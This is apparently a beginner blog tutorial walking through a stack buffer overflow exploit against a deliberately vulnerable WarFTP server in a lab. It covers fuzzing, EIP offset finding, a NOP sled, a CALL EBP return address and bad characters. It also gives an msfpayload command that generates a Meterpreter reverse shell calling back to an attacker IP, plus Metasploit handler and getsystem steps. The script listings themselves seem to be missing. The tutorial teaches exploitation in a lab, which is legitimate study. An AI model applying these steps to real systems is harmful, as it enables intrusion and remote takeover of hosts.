Buffer Overflow Tutorial for Beginners (Target: WarFTP on Windows)
I figured it’s about time I make a short introductory tutorial to Buffer Overflows. Hopefully this will whet your appetite for buffer overflows and encourage you to buy my book when it comes out! I churned this out pretty rapidly, so my apologies for any oversights, and grammatical and formatting issues =)
Machine with Kali installed (you can use other distros, but Kali is more or less ready to go for this tutorial, and therefore highly recommended).
Machine (or VM) with Windows SP3 installed. You can get a free trial copy by entering this command into a linux or mac terminal: curl -s https://raw.githubusercontent.com/xdissent/ievms/master/ievms.sh | env IEVMS_VERSIONS=“8” bash
Now that you have an environment, we need to install a debugger, a special module for the debugger, and finally – a vulnerable copy of War FTP for us to hack!
Immunity Debugger: http://www.immunityinc.com/products-immdbg.shtml
Mona.py: https://raw.githubusercontent.com/corelan/mona/master/mona.py
War FTP: http://www.exploit-db.com/wp-content/themes/exploit/applications/5132d652476f071874e42023e66dc1c1-WarFTP165_vulnerable_USER_BufferOverflow.exe
These are all to be installed on the Windows VM you set up earlier.
Start with Immunity Debugger; make sure you follow the prompts to let it install python27 if it isn’t already on the Windows VM.
Next, install Mona.py by placing it in the pycommands folder as shown below:
Finally, install War FTP.
Our environment has been set up, and we’re ready to start working on this exploit!
The first thing we need to do, is write a simple python script which will allow us to perform an activity called ‘fuzzing’. Fuzzing allows us to send strings (which we will refer to as a buffer from here on in) to the server, starting with a length of 100 bytes, then 200 bytes, and so on, until the server crashes. This will tell us how long our buffer needs to be.
Now, that we have a fuzzing script ready to go, we need to start the debugger and the FTP server.
Open War FTP, and click the little lightning bolt icon to start the server. Let’s make sure it’s responding before we proceed!
Fantastic. Now we’re ready to start the debugger, and attach it to the War FTP process.
Open Immunity Debugger, and navigate to File -> Attach. Select the appropriate process (hint: we know it’s running on port 21, look for port 21 in the list if you’re having trouble finding it).
This script will run until the program crashes. The second last line will tell us how long our buffer needs to be. In our case, the second last line read 3100.
We don’t want to have to run the full fuzzer each time we run the exploit (we will be running the exploit many times before strike gold). Let’s edit it with a buffer of the correct size.
Close the debugger and the FTP server, and open them again (don’t forget to re-attach the process!). Send the exploit again to make sure it works.
Now, before we move on, you need to understand what an EIP register is. The EIP controls the code flow execution, i.e. it determines which chunk of code to run next. It does so by pointing to the address where the chunk of code begins. If an attacker can a) override the values of one or more key memory spaces, and b) control the EIP register, then the attacker can simultaneously provide malicious code and force its execution.
Let’s have a look at the far right window and see what the EIP register is pointing to.
The EIP register is showing “41414141” which is hex for “AAAA”. We have control! The only problem remaining with the EIP register is that we do not know which 4 A’s in our buffer are actually sitting here because we sent 3100 A’s. There are a few ways to figure this out, let’s go for the easiest method.
Gaining control of the EIP
Kali has some convenience tools installed which can help us out. They are called pattern_create and pattern_offset.
Enter the command ‘locate pattern_offset.rb’ in your terminal. Then run the file found, with the argument 3100:
Replace your buffer of “A”s with this string, then re-run the exploit. When the app crashes, look at the right window of Immunity debugger and copy the EIP address. In this example, it is 32714131.
Now locate the tool pattern_offset and run it with the argument 32714131. It will tell us how many bytes we need in our payload before the start of the EIP address memory space.
The tool has reported that the EIP address starts after 485 bytes. Now that we know where to put our EIP address, let’s modify our code and see if we can fill just that register with “B”s instead of “A”s or the junk characters from the pattern_offset tool. While we’re editing the code, we’ll add some additional characters, “C”s, after the EIP address, so that we can find out where they end up.
The code should look something like this:
Go ahead and restart the debugger and FTP server, and run your script.
Awesome. Our EIP is 42424242, which is the hex equivalent for “BBBB”, so we still have control over the EIP.
Our shellcode needs a home!
We seem to have easy access to our “C”s, which means we have likely found a home for our malicious shellcode.
Let’s see if there’s enough space for our code. Click the EBP in the ‘Registers’ pane. Then right click it and press “Follow in Dump”. Now the bottom left pane should look like this:
We seem to have ample space for our shellcode, but if we scroll up just a little we notice that the EBP register doesn’t point to the very beginning of our C’s. We can easily work around that with some NOPs. NOPs are instructions to not perform an instruction =)
So if we create a NOP sled (a series of NOPs) at the beginning of our shellcode (currently just “C” characters), the code execution will just ‘slide down’ our NOPs until it reaches our executable code. The hex character for a NOP is “\x90”. Let’s add 100 of these to the start of our shellcode, and add two “E”s to the end so that we can see that the full series of “C”s fit in that space.
The code should look like this:
Run the script again, and follow the EBP dump. It should look like this:
We see some NOPs on the first line, and we see our “FF” marker at the end. All of our code is there, and it’s in the correct place for execution.
We have control over the EIP, and our shellcode is in the EBP register. How do we link the two? We are going to find a portion of code, which already exists on the system, which can jump to, or call, the EBP register so that our code executes. We’re going to use mona.py to find a suitable address.
Using mona.py to find a suitable EIP address to use
At the bottom of the debugger screen, there is a white input box. This is where we type our mona commands. First, let’s have a look at the modules accessible on the machine. Type: !mona modules
We select one which does not have Rebase=true or ASLR=true. These are memory protection features, and bypassing these are very much out of the scope of this tutorial. Let’s go with the USER32.dll module.
In order to search the module for the instruction we need, we need to know what it is translated to in hex. Type locate nasm_shell.rb into your terminal, and execute the script. Once the interactive shell opens, type call ebp (this is the code we need to direct the code execution to our shellcode in the EBP register).
Call EBP is FFD5 in hex. Let’s search the USER32.dll module for that code and see if we get lucky. Type !mona find –s \xff\xd5” –m user32.dll
Wicked. We pick one without bad characters. Bad characters interrupt the code execution and vary between products. Determining which characters are bad characters, is again, out of the scope of this tutorial. This time, I have done the heavy lifting for you, the bad chars are: \x00\x20\x0a\x0d\x40
We select the address 0x7E48FCCF, but as it is, it is not ready for our code. EIP addresses have to formatted in little endian format, where the position of each character pair is reversed. 0x7E48FCCF would become “\xCF\xFC\x48\x7E”. I have a little convenience method which can do this for us. Here is what the code looks like now:
We’re nearly done! Now what we need to do is generate some malicious code and replace the “C”s and “F”s with it. We’ll use msfpayload to whip up the shellcode.
Enter the following command in your terminal, replacing the IP address with YOUR attacking IP address, and the port number if necessary.
# msfpayload windows/meterepter/reverse_tcp LHOST=192.168.25.100 LPORT=4321 R | msfencode -b “\x00\x20\x0a\x0d\x40”
Notice that we are instructing msfencode to ensure that our ‘bad characters’ are not present in the shellcode.
Replace the shellcode variable in your script with the output from this command.
The full script should look something like this:
This code should execute a reverse meterpreter shell from the target machine to our hacking machine. But we need to start a handler to listen for the connection. Let’s fire up Metasploit. Type msfconsole into your terminal, and execute the following commands:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
Where YOUR_IP and YOUR_PORT are the same data you used in the msfpayload command.
You should see a screen like this:
Check your handler. You should have received a shell!
I cheated a little here and escalated by privileges by using the meterpreter command ‘getsystem’. I would not recommend relying on this, it’s not a silver bullet. It doesn’t try every possible method of escalating privileges and you should learn how some techniques for doing it manually.
I would recommend you starting learning to do that next! =)